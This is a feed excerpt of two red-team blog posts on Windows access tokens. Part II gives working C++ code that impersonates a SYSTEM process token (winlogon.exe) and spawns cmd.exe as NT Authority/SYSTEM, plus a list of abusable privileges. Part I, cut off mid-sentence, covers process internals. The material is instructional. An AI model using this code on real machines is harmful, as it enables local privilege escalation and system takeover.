            <pubDate>Sun, 31 May 2020 13:42:45 GMT</pubDate>
            <atom:updated>2020-11-10T11:29:51.084Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding and Abusing Process Tokens — Part II</h3><p>Now, considering the knowledge gained earlier in <a href="https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa">Part I</a>, let’s understand SeImpersonatePrivilege which the administrator account has by default, and how we can identify the processes where we can abuse it to gain NT Authority/SYSTEM privilege.</p><p><strong>SeImpersonatePrivilege</strong></p><p>We have the Token handle from the OpenProcessToken() function. We can try to abuse the Administrator account SeImpersonatePrivilege to gain NT Authority/System by impersonating the logged-on user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p9atLdnFrlChQuagpgcAXQ.png" /></figure><p><em>SeImpersonatePrivilege: “Impersonate a client after authentication” user right.</em></p><p><em>In case, SeImpersonatePrivilege user right is assigned to a user, it means it is permitted to run the programs that are run on the behalf of the current user to impersonate a client.</em></p><p>Syntax:</p><pre>BOOL ImpersonateLoggedOnUser(HANDLE hToken); // Takes one input, which is the token handle.</pre><p>A handle to a primary or impersonation access token that represents a logged-on user. This can be a token handle returned by a call to LogonUser, CreateRestrictedToken, DuplicateToken, DuplicateTokenEx, <strong>OpenProcessToken</strong>, or OpenThreadToken functions. <strong>If hToken is a handle to a primary token, the token must have TOKEN_QUERY and TOKEN_DUPLICATE access.</strong> <strong>If hToken is a handle to an impersonation token, the token must have TOKEN_QUERY and TOKEN_IMPERSONATE access.</strong></p><p><em>Note: The token handle must be opened with the TOKEN_QUERY and TOKEN_DUPLICATE access rights to be useable with ImpersonateLoggedOnUser(). Alternatively, the token handle can be opened with only the TOKEN_DUPLICATE access right to be useable with DuplicateTokenEx().</em></p><p>Code: [ImpersonateLoggedOnUser()]</p><pre>#include &lt;windows.h&gt;</pre><pre>#include &lt;iostream&gt;</pre><pre>#include &lt;Lmcons.h&gt;</pre><pre>BOOL SetPrivilege(</pre><pre>HANDLE hToken,          // access token handle</pre><pre>LPCTSTR lpszPrivilege,  // name of privilege to enable/disable</pre><pre>BOOL bEnablePrivilege   // to enable or disable privilege</pre><pre>)</pre><pre>{</pre><pre>TOKEN_PRIVILEGES tp;</pre><pre>LUID luid;</pre><pre>if (!LookupPrivilegeValue(</pre><pre>NULL,            // lookup privilege on local system</pre><pre>lpszPrivilege,   // privilege to lookup</pre><pre>&amp;luid))        // receives LUID of privilege</pre><pre>{</pre><pre>printf(&quot;[-] LookupPrivilegeValue error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>tp.PrivilegeCount = 1;</pre><pre>tp.Privileges[0].Luid = luid;</pre><pre>if (bEnablePrivilege)</pre><pre>tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;</pre><pre>else</pre><pre>tp.Privileges[0].Attributes = 0;</pre><pre>// Enable the privilege or disable all privileges.</pre><pre>if (!AdjustTokenPrivileges(</pre><pre>hToken,</pre><pre>FALSE,</pre><pre>&amp;tp,</pre><pre>sizeof(TOKEN_PRIVILEGES),</pre><pre>(PTOKEN_PRIVILEGES)NULL,</pre><pre>(PDWORD)NULL))</pre><pre>{</pre><pre>printf(&quot;[-] AdjustTokenPrivileges error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)</pre><pre>{</pre><pre>printf(&quot;[-] The token does not have the specified privilege. \n&quot;);</pre><pre>return FALSE;</pre><pre>}</pre><pre>return TRUE;</pre><pre>}</pre><pre>std::string get_username()</pre><pre>{</pre><pre>// Snippet to get the current username</pre><pre>TCHAR username[UNLEN + 1];</pre><pre>DWORD username_len = UNLEN + 1;</pre><pre>GetUserName(username, &amp;username_len);</pre><pre>std::wstring username_w(username);</pre><pre>std::string username_s(username_w.begin(), username_w.end());</pre><pre>return username_s;</pre><pre>}</pre><pre>int main(int argc, char** argv)</pre><pre>{</pre><pre>// Printing Curent Username</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>// Grab PID from command line argument</pre><pre>char *pid_c = argv[1];</pre><pre>DWORD PID = atoi(pid_c);</pre><pre>// A pointer to a handle that identifies the newly opened access token when the function returns.</pre><pre>HANDLE currentTokenHandle = NULL;</pre><pre>BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;currentTokenHandle);</pre><pre>if (SetPrivilege(currentTokenHandle, L&quot;SeDebugPrivilege&quot;, TRUE))</pre><pre>{</pre><pre>printf(&quot;[+] SeDebugPrivilege enabled!\n&quot;);</pre><pre>}</pre><pre>// Call OpenProcess(), print return code and error code</pre><pre>//dwDesiredAccess à PROCESS_QUERY_INFORMATION: Required to retrieve certain information about a process, such as its token, exit code, and priority class</pre><pre>//bInheritHandle à True: Processes created by this process will inherit the handle</pre><pre>//dwProcessId à Process ID to be provided as user input</pre><pre>HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcess() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcess() Return Code: %i\n&quot;, processHandle);</pre><pre>printf(&quot;[-] OpenProcess() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &amp;currentTokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcessToken() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcessToken() Return Code: %i\n&quot;, getToken);</pre><pre>printf(&quot;[-] OpenProcessToken() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>{</pre><pre>printf(&quot;[+] ImpersonatedLoggedOnUser() success!\n&quot;);</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>printf(&quot;[+] Reverting thread to original user context\n&quot;);</pre><pre>RevertToSelf();</pre><pre>}</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] ImpersonatedLoggedOnUser() Return Code: %i\n&quot;, getToken);</pre><pre>printf(&quot;[-] ImpersonatedLoggedOnUser() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>return 0;</pre><pre>}</pre><p>Let’s understand, what all permissions are required to impersonate a target access token, below mentioned are the few examples.</p><p>Process: Winlogon.exe | Process PID: 1056</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7JmNQli5BH-xsJoF-xyaQ.png" /></figure><p>Open Winlogon.exe process properties using process hacker and verify the Token privileges are sufficient or not:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2XLaK7IGCuAa3ooT9HnL3A.png" /></figure><p>We have required privileges; therefore, we can impersonate to NT Authority/SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5SNPzB-YUET-u18hfa2eXg.png" /></figure><p>Let’s take a Protected process for the example,</p><p>Process: CSRSS.exe</p><p>Process PID: 716</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDHIv37NH4RbXDJBauaQew.png" /></figure><p>Open CSRSS.exe process properties using process hacker and verify the Token privileges are sufficient or not:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1agDWuokiG1w2nJ8Z33vMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FnWxNuVLmmXFbP0LsBOdPg.png" /></figure><p>Similarly, we can follow the same steps for all the other processes which are running under NT Authority/SYSTEM. We can spawn another process or thread after Impersonating Logged on User.</p><p>For creating a new process with the NT Authority/SYSTEM privilege, we can use CreateProcessWithTokenW() function.</p><p>Code:</p><pre>#include &lt;windows.h&gt;</pre><pre>#include &lt;iostream&gt;</pre><pre>#include &lt;Lmcons.h&gt;</pre><pre>BOOL SetPrivilege(</pre><pre>HANDLE hToken,          // access token handle</pre><pre>LPCTSTR lpszPrivilege,  // name of privilege to enable/disable</pre><pre>BOOL bEnablePrivilege   // to enable or disable privilege</pre><pre>)</pre><pre>{</pre><pre>TOKEN_PRIVILEGES tp;</pre><pre>LUID luid;</pre><pre>if (!LookupPrivilegeValue(</pre><pre>NULL,            // lookup privilege on local system</pre><pre>lpszPrivilege,   // privilege to lookup</pre><pre>&amp;luid))        // receives LUID of privilege</pre><pre>{</pre><pre>printf(&quot;[-] LookupPrivilegeValue error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>tp.PrivilegeCount = 1;</pre><pre>tp.Privileges[0].Luid = luid;</pre><pre>if (bEnablePrivilege)</pre><pre>tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;</pre><pre>else</pre><pre>tp.Privileges[0].Attributes = 0;</pre><pre>// Enable the privilege or disable all privileges.</pre><pre>if (!AdjustTokenPrivileges(</pre><pre>hToken,</pre><pre>FALSE,</pre><pre>&amp;tp,</pre><pre>sizeof(TOKEN_PRIVILEGES),</pre><pre>(PTOKEN_PRIVILEGES)NULL,</pre><pre>(PDWORD)NULL))</pre><pre>{</pre><pre>printf(&quot;[-] AdjustTokenPrivileges error: %u\n&quot;, GetLastError());</pre><pre>return FALSE;</pre><pre>}</pre><pre>if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)</pre><pre>{</pre><pre>printf(&quot;[-] The token does not have the specified privilege. \n&quot;);</pre><pre>return FALSE;</pre><pre>}</pre><pre>return TRUE;</pre><pre>}</pre><pre>std::string get_username()</pre><pre>{</pre><pre>TCHAR username[UNLEN + 1];</pre><pre>DWORD username_len = UNLEN + 1;</pre><pre>GetUserName(username, &amp;username_len);</pre><pre>std::wstring username_w(username);</pre><pre>std::string username_s(username_w.begin(), username_w.end());</pre><pre>return username_s;</pre><pre>}</pre><pre>int main(int argc, char** argv) {</pre><pre>// Print whoami to compare to thread later</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>// Grab PID from command line argument</pre><pre>char *pid_c = argv[1];</pre><pre>DWORD PID_TO_IMPERSONATE = atoi(pid_c);</pre><pre>// Initialize variables and structures</pre><pre>HANDLE tokenHandle = NULL;</pre><pre>HANDLE duplicateTokenHandle = NULL;</pre><pre>STARTUPINFO startupInfo;</pre><pre>PROCESS_INFORMATION processInformation;</pre><pre>ZeroMemory(&amp;startupInfo, sizeof(STARTUPINFO));</pre><pre>ZeroMemory(&amp;processInformation, sizeof(PROCESS_INFORMATION));</pre><pre>startupInfo.cb = sizeof(STARTUPINFO);</pre><pre>// Add SE debug privilege</pre><pre>HANDLE currentTokenHandle = NULL;</pre><pre>BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;currentTokenHandle);</pre><pre>if (SetPrivilege(currentTokenHandle, L&quot;SeDebugPrivilege&quot;, TRUE))</pre><pre>{</pre><pre>printf(&quot;[+] SeDebugPrivilege enabled!\n&quot;);</pre><pre>}</pre><pre>// Call OpenProcess(), print return code and error code</pre><pre>HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcess() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcess() Return Code: %i\n&quot;, processHandle);</pre><pre>printf(&quot;[-] OpenProcess() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>// Call OpenProcessToken(), print return code and error code</pre><pre>BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &amp;tokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] OpenProcessToken() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] OpenProcessToken() Return Code: %i\n&quot;, getToken);</pre><pre>printf(&quot;[-] OpenProcessToken() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>// Impersonate user in a thread</pre><pre>BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>{</pre><pre>printf(&quot;[+] ImpersonatedLoggedOnUser() success!\n&quot;);</pre><pre>printf(&quot;[+] Current user is: %s\n&quot;, (get_username()).c_str());</pre><pre>printf(&quot;[+] Reverting thread to original user context\n&quot;);</pre><pre>RevertToSelf();</pre><pre>}</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] ImpersonatedLoggedOnUser() Return Code: %i\n&quot;, getToken);</pre><pre>printf(&quot;[-] ImpersonatedLoggedOnUser() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>// Call DuplicateTokenEx(), print return code and error code</pre><pre>BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &amp;duplicateTokenHandle);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] DuplicateTokenEx() success!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] DuplicateTokenEx() Return Code: %i\n&quot;, duplicateToken);</pre><pre>printf(&quot;[-] DupicateTokenEx() Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>// Call CreateProcessWithTokenW(), print return code and error code</pre><pre>BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L&quot;C:\\Windows\\System32\\cmd.exe&quot;, NULL, 0, NULL, NULL, &amp;startupInfo, &amp;processInformation);</pre><pre>if (GetLastError() == NULL)</pre><pre>printf(&quot;[+] Process spawned!\n&quot;);</pre><pre>else</pre><pre>{</pre><pre>printf(&quot;[-] CreateProcessWithTokenW Return Code: %i\n&quot;, createProcess);</pre><pre>printf(&quot;[-] CreateProcessWithTokenW Error: %i\n&quot;, GetLastError());</pre><pre>}</pre><pre>return 0;</pre><pre>}</pre><p>It creates a new process and its primary thread. The new process runs in the security context of the specified token. It can optionally load the user profile for the specified user.</p><p>The process that calls CreateProcessWithTokenW must have the SE_IMPERSONATE_NAME privilege.</p><p>Syntax:</p><pre>BOOL CreateProcessWithTokenW(</pre><pre>HANDLE hToken, <strong>// A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights.</strong></pre><pre>DWORD dwLogonFlags, <strong>// The logon option. This parameter can be zero or LOGON_WITH_PROFILE or LOGON_NETCREDENTIALS_ONLY</strong></pre><pre>LPCWSTR lpApplicationName, <strong>// The name of the module to be executed. This module can be a Windows-based application.</strong></pre><pre>LPWSTR lpCommandLine, <strong>// The command line to be executed. Can be NULL.</strong></pre><pre>DWORD dwCreationFlags, <strong>// The flags that control how the process is created. The CREATE_DEFAULT_ERROR_MODE, CREATE_NEW_CONSOLE, and CREATE_NEW_PROCESS_GROUP flags are enabled by default.</strong></pre><pre>LPVOID lpEnvironment, <strong>// A pointer to an environment block for the new process.</strong></pre><pre>LPCWSTR lpCurrentDirectory, <strong>// The full path to the current directory for the process.</strong></pre><pre>LPSTARTUPINFOW lpStartupInfo, <strong>// A pointer to a STARTUPINFO or STARTUPINFOEX structure.</strong></pre><pre>LPPROCESS_INFORMATION lpProcessInformation <strong>// A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process.</strong></pre><pre>);</pre><p>Let’s try to spawn a process using Winlogon.exe process ID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KishS4Ze8ZZCoa8vtn5dgw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ycVp0b4vrw-c6grPOGQDtg.png" /></figure><p>Let’s take another example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgqxCMWS_DG240htA8WWQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LoAH2ELHylxN_Ofe-IbjNg.png" /></figure><p>Don’t have enough privilege to impersonate and spawn a process, below screenshot explains that we just had query privilege on this process token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOUek6yr5j39N4A0cMrv3g.png" /></figure><p>The following are the most commonly abused privilege constants in malicious software and attacker tradecraft:</p><p><strong>SeBackupPrivilege</strong></p><p>Description: This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file.</p><p>Attacker Tradecraft: Collection.</p><p><strong>SeCreateTokenPrivilege</strong></p><p>Description: Required to create a primary token.</p><p>Attacker Tradecraft: Privilege Escalation</p><p><strong>SeDebugPrivilege</strong></p><p>Description: Required to debug and adjust the memory of a process owned by another account.</p><p>Attacker Tradecraft: Privilege Escalation; Defense Evasion; Credential Access</p><p><strong>SeLoadDriverPrivilege</strong></p><p>Description: Required to load or unload a device driver.</p><p>Attacker Tradecraft: Persistence; Defense Evasion</p><p><strong>SeRestorePrivilege</strong></p><p>Description: Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file.</p><p>Attacker Tradecraft: Persistence; Defense Evasion</p><p><strong>SeTakeOwnershipPrivilege</strong></p><p>Description: Required to take ownership of an object without being granted discretionary access.</p><p>Attacker Tradecraft: Persistence; Defense Evasion; Collection</p><p><strong>SeTcbPrivilege</strong></p><p>Description: This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.</p><p>Attacker Tradecraft: Privilege Escalation</p><p><strong>References:</strong></p><p><a href="https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html?m=1">https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-2.html?m=1</a></p><p><a href="https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b">https://posts.specterops.io/understanding-and-defending-against-access-token-theft-finding-alternatives-to-winlogon-exe-80696c8a73b</a></p><p>Windows Internal 1, 2, 3 [Videos by Pavel Yosifovich]</p><p>Windows 10 Internals — Systems and Processes [Videos by Pavel Yosifovich]</p><p>Windows 10 Internals — Threads, Memory, and Security [Videos by Pavel Yosifovich]</p><p><strong>[OpenProcess()]</strong></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess</a></p><p><strong>[OpenProcessToken()]</strong></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken">https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken</a></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects">https://docs.microsoft.com/en-us/windows/win32/secauthz/access-rights-for-access-token-objects</a></p><p><strong>[ImpersonateLoggedOnUser]</strong></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser">https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser</a></p><p><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--">https://docs.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c--</a></p><p><a href="https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56">https://gist.github.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56</a></p><p><strong>Abusing Token</strong></p><p><a href="https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt">https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt</a></p><p><strong><em>Note: In case I have missed any reference, please let me know and I’ll add that to the list. Apologies in advance.😊</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9069f432962" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding and Abusing Process Tokens — Part I]]></title>
            <link>https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee51671f2cfa</guid>
            <category><![CDATA[access-token]]></category>
            <category><![CDATA[open-process]]></category>
            <category><![CDATA[impersonation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
            <pubDate>Sun, 31 May 2020 13:20:35 GMT</pubDate>
            <atom:updated>2020-06-04T08:51:59.668Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding and Abusing Process Tokens — Part I</h3><p><strong>Introduction</strong></p><p>This blog is all about processes, process tokens, and token abuse. We will start with a brief overview of processes and how to create and open them. Then we will steer into process tokens and how the token privileges can be abused to escalate privileges.</p><p>Things that the audience of this blog will learn:</p><ol><li>What exactly is the process?</li><li>Different types of processes.</li><li>How to create a process?</li><li>How to open a process?</li><li>What are the minimum privileges required to open any process?</li><li>What are the access tokens?</li><li>How to read access token values in user mode and kernel mode?</li><li>What are the minimum privileges required to open a process token?</li><li>What are seDebugPrivilege and its importance?</li><li>What are the minimum requirements to impersonate the security context of a client’s logon?</li><li>How to impersonate a Token to gain NT Authority privilege?</li><li>What privileges could be abused to perform privilege escalation?</li></ol><p><strong>Overview: Process</strong></p><p>As per Microsoft documentation, “A <em>process</em>, in the simplest terms, is an executing program.”</p><p>The process is a management containment object as shown below with the following attributes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*mG38uuEih68VMaK8FowcAA.png" /></figure><ul><li>It has a <strong>private address space</strong>, which is used to allocate memory for loading DLLs, heaps, thread stacks, and whatever else is related to memory.</li><li>A <strong>private handle table</strong> that allows communicating with kernel objects, such as files, mutexes, and so on.</li><li>A <strong>private working set</strong> within a process, which is the amount of physical memory used by the process, something that the memory manager keeps track of.</li><li>An <strong>access token</strong>, which is a security context under which this process and its threads are run by default.</li><li><strong>Threads or thread pool</strong> that efficiently executes code or asynchronous callbacks on behalf of the application.</li></ul><p>Let’s get into the various available process functions which will provide us insights about the process attributes mentioned above:</p><p>CreateProcess: This function is used to create a process in user mode.</p><p>Create Process as a user: This function creates a new process and its primary thread. The new process runs in the security context of the user represented by the specified token.</p><p>EPROCESS: Once the CreateProcess function is invoked in user mode, these created processes will be managed by a structure called an Executive Process or EPROCESS in Kernel Mode. This structure holds all the necessary information to manage a process.</p><p>KPROCESS: Within EPROCESS another structure called a KPROCESS is defined, which holds information that is pertinent to the lower layer kernel below the executive. This includes stuff related to thread scheduling.</p><p>Let’s create a process from scratch to understand what is the theory mentioned above:</p><p>Code:</p><pre>#include &lt;windows.h&gt;</pre><pre>#include &lt;stdio.h&gt;</pre><pre>#include &lt;tchar.h&gt;</pre><pre>void _tmain(int argc, TCHAR *argv[])</pre><pre>{</pre><pre>STARTUPINFO si;</pre><pre>PROCESS_INFORMATION pi;</pre><pre>ZeroMemory(&amp;si, sizeof(si)); // We have to zero down the memory, otherwise there will be garbage value</pre><pre>si.cb = sizeof(si);</pre><pre>ZeroMemory(&amp;pi, sizeof(pi));</pre><pre>if (argc != 2)</pre><pre>{</pre><pre>printf(“Usage: %s [cmdline]\n”, argv[0]);</pre><pre>return;</pre><pre>}</pre><pre>// Start the child process.</pre><pre>if (!CreateProcess(NULL, // No module name (use command line)</pre><pre>argv[1], // Command line</pre><pre>NULL, // Process handle not inheritable</pre><pre>NULL, // Thread handle not inheritable</pre><pre>FALSE, // Set handle inheritance to FALSE</pre><pre>0, // No creation flags</pre><pre>NULL, // Use parent’s environment block</pre><pre>NULL, // Use parent’s starting directory</pre><pre>&amp;si, // Pointer to STARTUPINFO structure</pre><pre>&amp;pi) // Pointer to PROCESS_INFORMATION structure</pre><pre>)</pre><pre>{</pre><pre>printf(“CreateProcess failed (%d).\n”, GetLastError());</pre><pre>return;</pre><pre>}</pre><pre>printf(“PID: (%d).\n”, pi.dwProcessId);</pre><pre>// Wait until child process exits.</pre><pre>WaitForSingleObject(pi.hProcess, INFINITE);</pre><pre>DWORD code;</pre><pre>GetExitCodeProcess(pi.hProcess, &amp;code);</pre><pre>printf(“Exit Code: (%d).\n”, code);</pre><pre>// Close process and thread handles.</pre><pre>CloseHandle(pi.hProcess);</pre><pre>CloseHandle(pi.hThread);</pre><pre>}</pre><p><em>[Ref.]: </em><a href="https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes"><em>https://docs.microsoft.com/en-us/windows/win32/procthread/creating-processes</em></a></p><p>I have used Visual Studio to compile the code as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZTiYFRnUFfuXOqPP3f_KA.png" /></figure><p>As we can see in the code, ‘if’ statement is used with the CreateProcess function which will return a Boolean value ‘True’ if the process is created else false.</p><p>Let’s take a look into the CreateProcess function syntax:</p><pre>BOOL CreateProcessA(</pre><pre>LPCSTR                lpApplicationName, <em>// In our code above, we are taking user input. Therefore, we can assign NULL value</em></pre><pre>LPSTR                 lpCommandLine, <em>// User input via command line. Therefore argv[1].</em></pre><pre>LPSECURITY_ATTRIBUTES lpProcessAttributes, <em>// Whether the returned handle to the new process object can be inherited by child processes. We can assign NULL for the default security descriptors.</em></pre><pre>LPSECURITY_ATTRIBUTES lpThreadAttributes, <em>//For this as well we can assign NULL for the default security descriptors.</em></pre><pre>BOOL                  bInheritHandles, <em>// For now no inheritance required for the child process or threads. We can assign FALSE as it is bool type.</em></pre><pre>DWORD                 dwCreationFlags, <em>// These flags control the priority class, which is used to determine the scheduling priorities of the process&#39;s threads. We can set default value by assigning zero ‘0’.</em></pre><pre>LPVOID                lpEnvironment, <em>// A pointer to the environment block for the new process. If this parameter is NULL, the new process uses the environment of the calling process.</em></pre><pre>LPCSTR                lpCurrentDirectory, <em>// This specifies the full path to the current directory for the process. If this parameter is NULL, the new process will have the same current drive and directory as the calling process.</em></pre><pre>LPSTARTUPINFOA        lpStartupInfo, <em>// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time. This is a required field for invoking a CreateProcess function. Therefore, we have to define the STARTINFO at the starting.</em></pre><pre>LPPROCESS_INFORMATION lpProcessInformation <em>// Contains information about a newly created process and its primary thread.</em></pre><pre>);</pre><p>Now we know, what all is primarily required for creating a process. One thing we have to keep in mind that after creating a process or thread, we have to define close handle’s to process/ thread as well. That will execute once the task is finished.</p><p><strong>Demo: Let’s execute the output executable, to create a notepad process.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NC3iLoJHEnefrAh7E6bBew.png" /></figure><p>In the task manager, we can see that the Notepad process is created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*5ZyUCWVK8RbGj3hNM-fCkQ.png" /></figure><p>The Process ID (PID) for notepad.exe is 6664. This is the process we created. Additionally, we are invoking this function within CreateProcess.exe executable. Therefore, there will be a process running with the name ‘CreateProcess.exe’ which will be the parent process for the notepad.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*RO55U0pqsGWf0SXNw09LoA.png" /></figure><p>Let’s take look at notepad.exe process properties using process explorer (a Sysinternals tool).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*hVRNLyrxxZAbKWA1Krs9Jw.png" /></figure><p>In our CreateProcess function code, we have assigned NULL values to LPSECURITY_ATTRIBUTES. Let’s see how it is reflected in our newly created Notepad process.</p><p>Below we can see the security descriptor of the parent process which is exactly the same for Notepad process as we assigned NULL value for inheriting default privileges of the owing process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*92bERR75gdpYDDEUIg7UOw.png" /></figure><p>Now we observe the process from Kernel mode, for this, we will start Kernel Debugger and look for our created process. Here, we will gain an understanding of the Executive process structure and Kernel process structure that manages the processes in kernel mode.</p><p>For listing all the processes, we use “!process 0 0” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*7GGlwo6GaQrFadmblK5UXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*qKMj2XpYUSdmQP5xX-wQ7w.png" /></figure><p>In the above screenshot, the value (ffffa38ec93a4080) mentioned next to PROCESS is the address of the EPROCESS structure. This EPROCESS structure manages this (notepad) process. To view the process structure, we will run “!process ffffa38ec93a4080” command, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kc6NoQAQDne8_Q-U0tL0uA.png" /></figure><p><em>Note: This is the same information that we can view in Process Explorer. Additionally, most of the flags shown above are kernel specific which is undocumented in the Windows Driver Kit (WDK) headers.</em></p><p>As we have mentioned in the starting, that process is a management containment object. This containment object is managed via EPROCESS in Kernel mode. Let’s look at EPROCESS structure and what it contains:</p><p>Command to display EPROCESS structure is “dt NT!_EPROCESS”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*6b6hINV55P-k7VUiCsTZuA.png" /></figure><p><em>Note: EPROCESS Contains, Process Control Broker (PCB) which is of type K process means the kernel process structure.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*uSKpppmdOfkwSmVV3EEIsw.png" /></figure><p>This KPROCESS contains a Dispatcher header and _LIST_ENTRY which is a doubly Linked list that tells how all the processes within the operating system are linked.</p><p>Similarly, in user mode, we have something called the Process Environment Block, or PEB, which 